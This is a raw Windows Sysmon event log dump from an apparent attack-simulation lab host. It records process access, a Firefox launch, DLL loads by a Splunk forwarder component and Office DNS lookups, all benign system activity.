14:58:21.809{7BD73061-65B2-613B-1300-00000000F001}923748C:\Windows\System32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1440C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+5bab|c:\windows\system32\pcasvc.dll+5b07|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.794{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.794{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.794{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.794{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.794{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.794{7BD73061-6D0F-613B-9406-00000000F001}44806452C:\Windows\Explorer.EXE{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+89d2f|C:\Windows\System32\windows.storage.dll+899a5|C:\Windows\System32\windows.storage.dll+89496|C:\Windows\System32\windows.storage.dll+8a908|C:\Windows\System32\windows.storage.dll+892be|C:\Windows\System32\windows.storage.dll+8c0d5|C:\Windows\System32\windows.storage.dll+8c454|C:\Windows\System32\windows.storage.dll+8ba90|C:\Windows\System32\windows.storage.dll+8e30a|C:\Windows\System32\windows.storage.dll+8e0c2|C:\Windows\System32\SHELL32.dll+3f8fd|C:\Windows\System32\SHELL32.dll+3e496|C:\Windows\System32\SHELL32.dll+80201|C:\Windows\System32\SHELL32.dll+6719e|C:\Windows\System32\windows.storage.dll+15922|C:\Windows\System32\windows.storage.dll+15619|C:\Windows\System32\windows.storage.dll+154ef|C:\Windows\System32\SHELL32.dll+80287|C:\Windows\System32\SHELL32.dll+6719e|C:\Windows\System32\SHLWAPI.dll+e1f7 154100x800000000000000049580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.789{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" C:\Program Files\Mozilla Firefox\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\Explorer.EXE /NOUACCHECK 734700x800000000000000049579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.750{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000049578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.747{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000049577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.747{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000049576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.731{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000049575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.731{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000049574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.731{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.731{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000049572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000049571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000049570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000049569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000049567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000049564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000049562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 22542200x800000000000000049561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.932{7BD73061-728B-613B-500B-00000000F001}6444ecs.office.com0type: 5 ecs.office.trafficmanager.net;type: 5 s-0005-office.config.skype.com;type: 5 ecs-office.s-0005.s-msedge.net;type: 5 s-0005.s-msedge.net;::ffff:52.113.194.132;C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE 22542200x800000000000000049560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.927{7BD73061-728B-613B-500B-00000000F001}6444support.content.office.net0type: 5 support.content.office.net.edgekey.net;type: 5 e584.g.akamaiedge.net;::ffff:2.18.232.50;C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE 734700x800000000000000049559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000049557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000049556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.715{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000049555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000049553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000049552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000049551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000049550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000049549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft 